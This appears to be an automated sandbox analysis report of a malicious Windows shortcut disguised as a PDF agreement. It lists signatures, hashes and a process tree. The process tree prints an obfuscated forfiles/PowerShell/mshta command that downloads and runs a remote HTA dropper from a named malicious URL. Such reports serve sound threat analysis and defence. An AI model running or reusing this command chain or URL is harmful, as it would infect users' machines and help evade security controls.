Analysis

  • max time kernel
    135s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/10/2024, 12:15

General

  • Target
    Agreement for YouTube cooperation.pdf.lnk.download.lnk
  • Size 1KB
  • Sample241025-pexcyayfpf
  • SHA256 8ea35c2bfdf4cad1197abadd19f4f0e09579afcfdb32abc7e71bb5818c6d3ba6
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ctu.timeless-tales.shop/api/uz/0912545164/CharcoalWharf.json

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Indirect Command Execution 1 TTPs 1 IoCs

    Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Agreement for YouTube cooperation.pdf.lnk.download.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4104
    • C:\Windows\System32\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p C:\Windows /m notep*.exe /c "powershell Start-Process \*i*\*2\msh*e https://ctu.timeless-tales.shop/api/uz/0912545164/CharcoalWharf.json"
      2⤵
      • Indirect Command Execution
      • Suspicious use of WriteProcessMemory
      PID:1828
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Start-Process \*i*\*2\msh*e https://ctu.timeless-tales.shop/api/uz/0912545164/CharcoalWharf.json
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3620
        • C:\Windows\System32\mshta.exe
          "C:\Windows\System32\mshta.exe" https://ctu.timeless-tales.shop/api/uz/0912545164/CharcoalWharf.json
          4⤵
          • Blocklisted process makes network request
          PID:3928

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        __PSScriptPolicyTest_ivwjgb1q.z4e.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ivwjgb1q.z4e.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/3620-0-0x00007FFB6E400000-0x00007FFB6E6C9000-memory.dmp

        memory/3620-1-0x00007FFB6E400000-0x00007FFB6E6C9000-memory.dmp

        memory/3620-2-0x00007FFB6E400000-0x00007FFB6E6C9000-memory.dmp

        memory/3620-12-0x000001FAF03C0000-0x000001FAF03E2000-memory.dmp

        memory/3620-15-0x00007FFB6E400000-0x00007FFB6E6C9000-memory.dmp